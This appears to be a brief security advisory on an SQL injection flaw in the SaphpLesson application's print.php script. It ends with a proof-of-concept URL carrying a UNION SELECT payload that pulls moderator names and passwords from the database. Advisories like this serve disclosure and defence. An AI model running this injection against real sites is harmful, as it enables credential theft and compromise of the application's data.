source: https://www.securityfocus.com/bid/17239/info
SaphpLesson is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
http://www.example.com/lesson/print.php?lessid=-1%20union20select20null,null,null,ModName,null,ModPassword,null,ModPassword,null,ModPassword,null,null,null,null%20FROM%20modretor
